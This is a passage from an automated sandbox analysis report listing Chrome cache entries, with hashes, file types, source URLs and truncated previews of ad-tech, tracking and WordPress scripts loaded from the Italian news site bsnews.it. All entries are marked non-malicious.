SHA-512:	015EF83117E1312EBBBB90109C2BFE6592F18BF22FF2B0D40D0669CAB3C3CA91B2957954EF2A98D7C2211C7E0645AD8A8EC0CAA8D922EBE78786D7ADCA2B6DD3
Malicious:	false
Reputation:	low
Preview:	{"autostart":true,"tcf":true,"publisher":true,"getFiles":{"prepare":true}}

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.2226627197680635
Encrypted:	false
SSDEEP:	3:CUzRtwv+L1pse:1/se
MD5:	F837AA60B6FE83458F790DB60D529FC9
SHA1:	14AF87CCEC7F81BB28D53C84DA2FD5A9D5925CDA
SHA-256:	DCECAB1355B5C2B9ECEF281322BF265AC5840B4688748586E9632B473A5FE56B
SHA-512:	A85E09C3B5DBB560F4E03BA880047DBC8B4999A64C1F54FBFBCA17EE0BCBED3BC6708D699190B56668E464A59358D6B534C3963A1329BA01DB21075EF5BEDACE
Malicious:	false
Reputation:	low
URL:	https://sync.targeting.unrulymedia.com/csync/RX-b6a81ab2-e806-441c-954b-0b87961b9ddd-005
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3471), with no line terminators
Category:	downloaded
Size (bytes):	3471
Entropy (8bit):	5.242630149315279
Encrypted:	false
SSDEEP:	96:bfxZObyBXTP06aPds85Ioempf7p1hZRHXH8nSUe93Mmi2:rxZObyBXOPVZ138De9Ji2
MD5:	0DC07A09F19B7F9CC3CF314EF01ECDC9
SHA1:	59D56E8343D150F9B73095440BAD53330065724E
SHA-256:	051A4DF5CA07EC7979F14E486352A62C72733C9AABB6528ADADDC9A911FBFCA3
SHA-512:	61ACB7ED882058BBE35FD17EC04042FAB89BD4C38A399BD29B96A9426C86081DF489F5EA00A74D753CF0EFC54A8788B3F34016CE377BC7D11ECB1E289800EE7E
Malicious:	false
Reputation:	low
URL:	https://static.sunmedia.tv/AdBlockDetection/adblockDetector.min.js?abf=-adserver-%7C-doubleclick.js%7C-google-ad.%7C-google-adsense.&ref=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F
Preview:	"use strict";!function(l){function n(){}var t="offset",e="client",i=void 0===l.addEventListener,u={fireNow:!1,loopDelay:50,maxLoop:5,debug:!0,found:n,notfound:n,complete:n};function r(){var r={};this.addUrl=function(t){return r[t]={url:t,state:"pending",format:null,data:null,result:null},r[t]},this.setResult=function(t,e,o){var n=r[t];if(null==n&&(n=this.addUrl(t)),n.state=e,null!=o){if("string"==typeof o)try{o=function(e){var o;try{o=JSON.parse(e)}catch(t){try{o=new Function("return "+e)()}catch(t){y("Failed secondary JSON parse",!0)}}return o}(o),n.format="json"}catch(t){n.format="easylist"}return n.data=o,n}n.result=null}}var a=[],s=null,d={cssClass:"pub_300x250 pub_300x250m pub_728x90 text-ad textAd text_ad text_ads text-ads text-ad-links"},c={nullProps:[t+"Parent"],zeroProps:[]};c.zeroProps=[t+"Height",t+"Left",t+"Top",t+"Width",t+"Height",e+"Height",e+"Width"];var o={quick:null,remote:null},f=null,p={test:0,download:0};function m(t){return"function"==typeof t}function y(t,e){(u.d

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (660), with no line terminators
Category:	downloaded
Size (bytes):	660
Entropy (8bit):	5.223875640173293
Encrypted:	false
SSDEEP:	12:fXffq1fedRWiR9NMH15DRRRZBtukiR+/uHn2Rimu4iKyz7eWy7DRWZIkKmo:fXffuSXRYH/RRzzukruH2012yz7eWIR7
MD5:	586B4902901BA78BC3A6B8516244C911
SHA1:	2310E6442E5869ACFF4654773520B13F892406FA
SHA-256:	33827CDDB11183B428E4378B2CA886287EF676ACE7AEFD6B247AE817757DAF1B
SHA-512:	0B830BC5EB2CA260B9A295A71DCDE51858B396971960A0A61C61291044E0A497228FE32107BB28177F16229CB56937947359285E4C260A0E99042FF8C05637F2
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/codesour/bsnews/9.prod.js
Preview:	(self.webpackChunksour=self.webpackChunksour\|\|[]).push([[9],{9:(e,t,i)=>{"use strict";i.r(t);var n=i(845);const{LoggerSour:r}=n.t,o=new r("Player > SkyFluid");!function(){var e=window;const{skyFluidConfig:t}=e._sour.config;if(t){var i=document.getElementById(t.div);if(i){o.log("Initialize SkyFluid on div",t.div);var n=document.createElement("ins");Object.keys(t.config).map((function(e){n.setAttribute(e,t.config[e])})),i&&i.appendChild(n);var r=document.createElement("script");r.type="text/javascript",r.async=!0,r.src="//fluid.4strokemedia.com/www/fluid/player.php";var c=document.getElementsByTagName("script")[0];c.parentNode.insertBefore(r,c)}}}()}}]);

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:v:v
MD5:	68B329DA9893E34099C7D8AD5CB9C940
SHA1:	ADC83B19E793491B1C6EA0FD8B46CD9F32E592FC
SHA-256:	01BA4719C80B6FE911B091A7C05124B64EEECE964E09C058EF8F9805DACA546B
SHA-512:	BE688838CA8686E5C90689BF2AB585CEF1137C999B48C70B92F67A5C34DC15697B5D11C982ED6D71BE1E1E7F7B4E0733884AA97C3F7A339A8ED03577CF74BE09
Malicious:	false
Reputation:	low
Preview:	.

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://mwzeom.zeotap.com/mw?zpartnerid=1384&env=mWeb&cid=01F5328A-C4D9-44AD-8468-60A885247C68&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 364

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (25065)
Category:	downloaded
Size (bytes):	25170
Entropy (8bit):	5.37811066275049
Encrypted:	false
SSDEEP:	384:PFE5EocNosNDTCiunzcpqXeJuO86Ixh531VLiQf2C2alpPF4km0s:26ocSsNDT26Ixh5B/Xs
MD5:	51D6EFF0EA5151F41FA0E2F3310FC7C7
SHA1:	1B2D453DFF9A0218B6165A4A993BA161DC3F99A1
SHA-256:	570E90AE53BE52EEF8849A7F762B304F2506E2D3AB6146BC8DFF279111666D74
SHA-512:	C484A3BE0120D96EE04ADD9BD350EEA455AEC470652884EE72EE56C452632612FC5675FBD408B4015F1D113F2BD0A32985C654B9CEDC4D83FB8D05FCFE96FE0D
Malicious:	false
Reputation:	low
URL:	https://cdn.ravenjs.com/3.17.0/raven.min.js
Preview:	/! Raven.js 3.17.0 (d5678cb) \| github.com/getsentry/raven-js /.!function(a){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=a();else if("function"==typeof define&&define.amd)define([],a);else{var b;b="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this,b.Raven=a()}}(function(){return function a(b,c,d){function e(g,h){if(!c[g]){if(!b[g]){var i="function"==typeof require&&require;if(!h&&i)return i(g,!0);if(f)return f(g,!0);var j=new Error("Cannot find module '"+g+"'");throw j.code="MODULE_NOT_FOUND",j}var k=c[g]={exports:{}};b[g][0].call(k.exports,function(a){var c=b[g][1][a];return e(c?c:a)},k,k.exports,a,b,c,d)}return c[g].exports}for(var f="function"==typeof require&&require,g=0;g<d.length;g++)e(d[g]);return e}({1:[function(a,b,c){"use strict";function d(a){this.name="RavenConfigError",this.message=a}d.prototype=new Error,d.prototype.constructor=d,b.exports=d},{}],2:[function(a,b,c){"use strict";var d=function(

Chrome Cache Entry: 365

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3444)
Category:	downloaded
Size (bytes):	3460
Entropy (8bit):	5.200911819695184
Encrypted:	false
SSDEEP:	96:yrnxPAf80g4+h3nAYdqHsfQLsftFWGm+H9BELCHErQYi+Jry:m6HB+h3zsHVsfJr3ELCHErFi+5y
MD5:	771A6A92588A8FB45E42A04FA3FE9DDD
SHA1:	A31526CE79259DD6E386BC9731F5FC764B7C68A5
SHA-256:	D8C49BC14E5B5041853D619FE2DC1B01B28BFD4974B8E732F13FA4943EFAADA3
SHA-512:	8CF2D680F8BCFA30F796FFD8268D7763DB2F58E694AF467CEEFB39ECD0EF39A162C440AD7969BE2E3CA19C034B4D60E5CC8B5F6478E0FDB395DC1E35949659FD
Malicious:	false
Reputation:	low
URL:	https://assets.a-mo.net/js/idl.js?ga=0&gc=&do=bsnews.it&e=27&uid=10735680-48cc-46aa-8323-b54c7155938b
Preview:	void(0);/* */;.!function(){function t(t,e){const n={brand:t,version:[]};return s(e)&&!a(e)&&(n.version=e.split(".")),n}function e(t,e){return null==e\|\|0===Object.keys(e).length?t:function(t,e){const n=-1===t.indexOf("?")&&-1!==t.indexOf("&");return t+(n?"&":"?")+e}(t,function(t){if("undefined"!=typeof URLSearchParams){const e=new URLSearchParams;for(const[n,r]of Object.entries(t))e.append(n,r);return e.toString()}const e=[];for(const[n,r]of Object.entries(t))e.push(`${encodeURIComponent(n)}=${encodeURIComponent(r)}`);return e.join("&")}(e))}function n(t,n,r,o={}){const s=o.method??(null!=r?"POST":"GET"),a=new XMLHttpRequest,i=t=>"function"==typeof n?n(null,null,t):n.error(t);a.onreadystatechange=()=>{if(a.readyState>=4){const t=a.status;if(t>=200&&t<300)return void((t,e)=>{("function"==typeof n?n:n.success)(t,e,null)})(a.responseText,a);i(a.status)}},a.onerror=i;const c="GET"===s?e(t,r):t;if(a.open(s,c,0),null!=o.timeout&&(a.timeout=o.timeout),null!=o.customHeaders)for(const[t,e]of Obj

Chrome Cache Entry: 366

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	208372
Entropy (8bit):	4.574821069205193
Encrypted:	false
SSDEEP:	3072:KGqKG3eyjhyzPdKPduuV+5VMx0mCS30+CmY:KkBuAyDYEEKQ1
MD5:	689484C9DE138DD0BC2383D6831566F7
SHA1:	A7C18E7CFB3FECB3F8DEE5435BDF597C0DF24E8D
SHA-256:	10CAB48A646587F6166C5D6304D26AEE65466DC167592C08822F77E1CFA04F7E
SHA-512:	74FF0343BB1D353DBC2FB3D029E38960547DB58031C5C68ED73C8505DC21EF94DFB2D84B53AF8053E8DFC8409A32F4FA78C51ED61EC3995AC000CE06E743B47D
Malicious:	false
Reputation:	low
URL:	https://cdn.digitrend.it/dpiu/feed/bsnews.it/feed.json
Preview:	{"selettore":"#digitrend-infinite-scroll-delimiter","modalita_tagging":"tagsour","analytics":{"universal_analytcis":["UA-11020879-7"],"ga4":[]},"post_massimi":3,"post_per_scroll":1,"change_url":1,"articoli":[{"url":"https:\/\/bsnews.it\/2024\/03\/28\/allarme-a-urago-doglio-27enne-marocchino-ferito-a-colpi-di-pistola\/","desktop":"<div style=\"padding: 0; clear: both; float: left; width: 100%; position: relative\">\r\n <img src=\"https:\/\/sviluppo.digitrend.it\/d-piu-logo-grey.png\"\r\n style=\"position:relative;width:80px; margin-bottom:15px; margin-left:15px; background:#fff; padding:0px 5px; margin-top:25px;z-index:1;opacity:1\">\r\n <div style=\"width: 100%; height: 1px; background: black; margin-top: -30px; margin-bottom: 30px;\"><\/div>\r\n<\/div>\r\n<div style=\"width:100%; height:1px; clear:both;\"><\/div>\r\n<article id=\"post-321513\"\r\n class=\"td-post-template-7 post-321513 post type-post status-publish format-standard has-post-thumbnail category-Bassa td-c

Chrome Cache Entry: 367

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (23553)
Category:	downloaded
Size (bytes):	23678
Entropy (8bit):	5.427979461148156
Encrypted:	false
SSDEEP:	384:EqhROTku6loITotJt0++gdrDRvDe6AuXlnqkxXnATMqBpbKRUQ7LPxxGTyA4tt/:EJTku6lYt0mg6/qYATdBpbyxxkO/
MD5:	6EF104090AB8672EA053D27FAAFD4EE9
SHA1:	D7217A3C3A2F5D363396E28C8AE2B96DF1C2D3F5
SHA-256:	45A4C240A17A4D5F925EF0E125B86D882C6AD7549028D9CBF6F4F06FD1DD897D
SHA-512:	92205501B1B01F4173A16A57AAB0D847C9F574FC1A44A14D62E84AEC7EBCCAACC399EEC6823ADF082E7EBE766EBC8BA8C580E69C73CC7203D8C4C22B3660F6E2
Malicious:	false
Reputation:	low
URL:	https://secure.quantserve.com/quant.js
Preview:	/* Copyright (c) 2008-2023, Quantcast Corp. https://www.quantcast.com/legal/license /.!function(){"use strict";var e="qcSes";function t(){var e=r();return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,(function(t){var n=(e+16Math.random())%16\|0;return e=Math.floor(e/16),("x"===t?n:3&n\|8).toString(16)}))}var n=function(){try{if(!window.sessionStorage)return t()}catch(e){return t()}var n;try{if(n=window.sessionStorage.getItem(e))return n}catch(e){return t()}n=t();try{window.sessionStorage.setItem(e,n)}catch(e){}return n}();function r(){return(new Date).getTime()}function o(){return new Date}function i(e){var t=new Date(2e3,e,1,0,0,0,0),n=t.toUTCString(),r=new Date(n.substring(0,n.lastIndexOf(" ")-1));return t.getTime()-r.getTime()}function a(){return Math.round(2147483647*Math.random())}/qcdbgc=1$/.test(window.location.toString());function c(e,t){"undefined"!=typeof console&&console.log.apply(console,[e+" "+o().toString()].concat([].slice.call(t)))}var u=function(){for(var e=[]

Chrome Cache Entry: 368

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	9
Entropy (8bit):	2.94770277922009
Encrypted:	false
SSDEEP:	3:Obn:Obn
MD5:	9D1EAD73E678FA2F51A70A933B0BF017
SHA1:	D205CBD6783332A212C5AE92D73C77178C2D2F28
SHA-256:	0019DFC4B32D63C1392AA264AED2253C1E0C2FB09216F8E2CC269BBFB8BB49B5
SHA-512:	935B3D516E996F6D25948BA8A54C1B7F70F7F0E3F517E36481FDF0196C2C5CFC2841F86E891F3DF9517746B7FB605DB47CDDED1B8FF78D9482DDAA621DB43A34
Malicious:	false
Reputation:	low
URL:	https://sync.admanmedia.com/pbs.gif?redir=https%3A%2F%2Fu-iad04.e-planning.net%2Fum%3Fdc%3D9937b3fd6e9a979a%26fi%3Db908337b94350305%26uid%3D%5BUID%5D
Preview:	Not Found

Chrome Cache Entry: 369

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65504), with no line terminators
Category:	downloaded
Size (bytes):	151919
Entropy (8bit):	5.244142666228603
Encrypted:	false
SSDEEP:	1536:d773qc51YHqsnA7eGWvVzdRu/MccifokUtXhc6eIDvwwE7:Fq2yqsA7nWjpio16cwr
MD5:	530F4687C9DB064D9C81999237C5DA8E
SHA1:	67BEE28347AAB362202AB8CE1217B13FBECCED29
SHA-256:	6BF9BB26263EA7F5B18AB30B3D6C86F7DF14C3A0D97CB5A67EEA10B485F4D338
SHA-512:	EAAD835630F635998EBD7FC55515C707565F6B03DFA5AED3BCC43E916DE1F043A481FC414047DDAA7A8193341FF3735C67E73247C98A0574979698D5F3E6F1FB
Malicious:	false
Reputation:	low
URL:	https://cdn.pbstck.com/index-refresh-bbdc39c.js
Preview:	this.refresh=function(t){var e={};function n(r){if(e[r])return e[r].exports;var o=e[r]={i:r,l:!1,exports:{}};return t[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var o in t)n.d(r,o,function(e){return t[e]}.bind(null,o));return r},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="",n(n.s=510)}([function(t,e,n){"use strict";n.d(e,"b",(function(){return I})),n.d(

Chrome Cache Entry: 370

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156212&predirect=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D71%263pid%3D&gdpr=0&gdpr_consent=
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 371

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1953
Entropy (8bit):	5.006044824836511
Encrypted:	false
SSDEEP:	48:ryJ+6fVEwLdGLq+MsiV2yZEWeJ+pQkpMrI0L8fER9l7RMQaf9CmQUyWDQYXhBqh6:ryHiwhG+BV2yZDc+prpMrp4sbc5KoXnT
MD5:	C1FAFCF478E9F5D874558524DDADE40A
SHA1:	E6AA77FBCC1BC2739F9F3742523B7AE623E9691C
SHA-256:	CCD911729403DECD6E3B74702FDC4D2C1B1E3ECF35A147F7E5373669932CC708
SHA-512:	E735770BF1E691D3CAF0C3B3CF75BE0AC02EEDC2D3CC52508EDF2B5658F0510D250B9A99D38876A39557F51FF2D00529A52436DBA6E0BCB7A85C843E22FC5BC7
Malicious:	false
Reputation:	low
URL:	https://c0.wp.com/p/jetpack/13.2.2/modules/wpgroho.js
Preview:	/* global WPGroHo:true, Gravatar */.( function () {..var extend = function ( out ) {...out = out \|\| {};....for ( var i = 1; i < arguments.length; i++ ) {....if ( ! arguments[ i ] ) continue;.....for ( var key in arguments[ i ] ) {.....if ( arguments[ i ].hasOwnProperty( key ) ) out[ key ] = arguments[ i ][ key ];....}...}....return out;..};...WPGroHo = extend(...{....my_hash: '',....data: {},....renderers: {},....syncProfileData: function ( hash, id ) {.....var hashElements;......if ( ! WPGroHo.data[ hash ] ) {......WPGroHo.data[ hash ] = {};......hashElements = document.querySelectorAll( 'div.grofile-hash-map-' + hash + ' span' );......for ( var i = 0; i < hashElements.length; i++ ) {.......WPGroHo.data[ hash ][ hashElements[ i ].className ] = hashElements[ i ].innerText;......}.....}......WPGroHo.appendProfileData( WPGroHo.data[ hash ], hash, id );....},....appendProfileData: function ( data, hash, id ) {.....for ( var key in data ) {......if ( 'function' === typeof WPGroHo.renderers

Chrome Cache Entry: 372

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 373

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:v:v
MD5:	68B329DA9893E34099C7D8AD5CB9C940
SHA1:	ADC83B19E793491B1C6EA0FD8B46CD9F32E592FC
SHA-256:	01BA4719C80B6FE911B091A7C05124B64EEECE964E09C058EF8F9805DACA546B
SHA-512:	BE688838CA8686E5C90689BF2AB585CEF1137C999B48C70B92F67A5C34DC15697B5D11C982ED6D71BE1E1E7F7B4E0733884AA97C3F7A339A8ED03577CF74BE09
Malicious:	false
Reputation:	low
Preview:	.

Chrome Cache Entry: 374

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	4588
Entropy (8bit):	7.958944672123865
Encrypted:	false
SSDEEP:	96:3rYG8MXkfGVcQukwowArNRx246cDPZsE+sXHfG7CMGKGR:BA7rowkb6W+E+EG7RGKE
MD5:	4ACAAEFF77A9303DFC77D65575673FFA
SHA1:	0D3BD105099D017A3B903C20FEA36A928B43737A
SHA-256:	9BAF404AFC8B9E594EC19F768C7D94AA2F3132A49FCDD44294B7C8CF42F607A6
SHA-512:	D7FAF9A56BFA33E4C7AEEDD456B3E8B0575854E797E5067DD62C07CBA2FEAC3502C1D4A77316A3D9050FCB85571C76EC275450D7CE6BD56929FBC629E15A42E9
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2024/03/20240327_0381.jpg?resize=324%2C160&ssl=1
Preview:	RIFF....WEBPVP8 .....i...D...>m2.H$".%.......gm.........yaW....`1.i._.....r4..1.......^9....A.......a<..b..#...D.g.7...;y.E........T.......+.S=....~..J,..b..%H.goe,....@...j..Li.3..r... .h.yM'....[BkuZ.....F.U.a...1J...Z.I......=...s.6..3.._.e-....4......mjoZ-............>EN...v.....j..O.E<..=.:.6. .l..;..h..@....a.5O.S>..?....<.5.m..\+.!.ac.^L...U?.q.t...\|...).^.U....?.?m.MY....N.Av..DlT.q..]W.\....>)B.g.g.y.w.'.=3./\.Z.d0w1..c....0.)...}.8X.c..K...D........].'.P0.\|.....mT;..tH.(.[{J.w...#y..v\.[..5(K.......9.....@..$xW\|w..........bb.T1...J..N..g1F.[4...[...d.....fT...yTB.S..`..s].7j.v.Vo...v...eT...!.h..>...*rC..0...-:..$........4.K..\.i.g[.OY.2w.S<....b..11..."..#.a.Z7...vS.W.F....}a..6q..e...T...>....U..?....[......A.4......d.b.fKy..].Tu...2c.{/K'."R:...QJV......A.O..n{\\|.0.).J..[?2...5....P.\..m.k.<Y.U`t....'1e'h.?.7$..e..rF.1../...F..@?k#..tddU\|......Gv..H<...FM...h..b..e.H..z/..{.....[...m..k...hW....FK..'t........8.

Chrome Cache Entry: 375

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	80
Entropy (8bit):	4.944702276078295
Encrypted:	false
SSDEEP:	3:DukssplyicUCna/6ji9k58bmKDLD2:Duk7pYicUCnaal8bm8LD2
MD5:	F9CE5A913A41C5C4AE484AF4EA321177
SHA1:	B92C3A01CEC0388B219A1CA3CF2E4E7D694E48E6
SHA-256:	F33B9791180D443838EDF29EF5C72145A8DFD6BDAE2ACC41A54D3C06D554BD98
SHA-512:	40B860BAFFFA41068D8A3D793AE2E2063F307DD36FA3FC6A4B923AE9CF83E961F6752A65FA1A3CE3578049B21CF48A6C055C322C5D6FB0A9392827200FAB6CE2
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISLAlDaLqy0PVPlxIFDUAhpZMSBQ1qY64UEgUNXLRwuRIFDVmE5_YSBQ1OnLkR?alt=proto
Preview:	CjkKBw1AIaWTGgAKCw1qY64UGgQIAxgBCgsNXLRwuRoECAUYAQoHDVmE5/YaAAoLDU6cuREaBAgJGAE=

Chrome Cache Entry: 376

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3345), with no line terminators
Category:	downloaded
Size (bytes):	3345
Entropy (8bit):	5.019282783774305
Encrypted:	false
SSDEEP:	48:UuGAhH4cnYOCGbnxBBoXheeh1tRdEPgrLTW6Fe60lRrgFtu8rrooNLArK4XgCibS:U9Y4wNduQeJYgXe626rnroohssCxb
MD5:	6A0174D2A74009F4D0348EA9A20C78D4
SHA1:	F547407EFAC416FAE6C7C882DF866432D0597226
SHA-256:	F72EA1589B707FEB0D369C239E89CC4CA754D70645C76E3A61BA0AF9D69BBA8C
SHA-512:	4540C9152BF6AF16830876F6CA9870D77E590E2F82C3E628B73B2CEBE3A17D754E29657AFA402CF1814741497C65E429353373CDF6BC516BF76B18980840BBF7
Malicious:	false
Reputation:	low
URL:	https://s0.wp.com/wp-content/js/rlt-proxy.js?m=20211122
Preview:	(function(){var e;var t;var n;var o=[];var r=false;var i="jetpack:wpcomRLT";function a(e){var t=document.createElement("a");t.href=e;return t.origin}function c(t){if(!e){return}rltInjectToken(e,t.target.contentWindow,a(t.target.src))}function d(){var e=document.querySelectorAll("iframe");for(var t=0;t<e.length;t++){var n=e[t];if(l(n)){n.addEventListener("load",c)}}var o=new MutationObserver(function(e,t){for(var n=0;n<e.length;n++){var o=e[n];if(o.type==="childList"){for(var r=0;r<o.addedNodes.length;r++){var i=o.addedNodes[r];if(i instanceof HTMLElement&&i.nodeName==="IFRAME"&&l(i)){i.addEventListener("load",c)}}}}});o.observe(document.body,{subtree:true,childList:true})}function l(e){if(!Array.isArray(n)){return}return n.indexOf(a(e.src))>=0}function s(e,t,n){if(t&&typeof t.postMessage==="function"){try{t.postMessage(JSON.stringify({type:"rltMessage",data:{event:"invalidate",token:e,sourceOrigin:window.location.origin}}),n)}catch(e){return}}}window.rltInvalidateToken=function(n,o){if

Chrome Cache Entry: 377

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2626), with no line terminators
Category:	downloaded
Size (bytes):	2626
Entropy (8bit):	5.122482981877147
Encrypted:	false
SSDEEP:	48:PrDHu/H8Rr3qy7eXi89/P0x5n2ruFg8BbuDf0LAQffmX8auDEE1:Pr7VRyxs5n2rETuj0kQff3DE8
MD5:	578CE2C28D5216FE1B1925C6B5B131D3
SHA1:	033E7489B7C5CFCF7C70029873BF93EFF553771B
SHA-256:	CA8AB1A0AC9C26942BDC4E0ECC6813DDE09C8FCF4A026E646C9E298AC14DF58F
SHA-512:	78BDD980050A1C610B7712A8FC13FE9A6A5F5E3751925DF3F79ED27FABE9DC8BFAC39F5851F41C714E58E71A9FCD77A122D2ACD9152DDFDAADAD226D9FE1ECB3
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/js/tdSocialSharing.js?ver=12.6.5
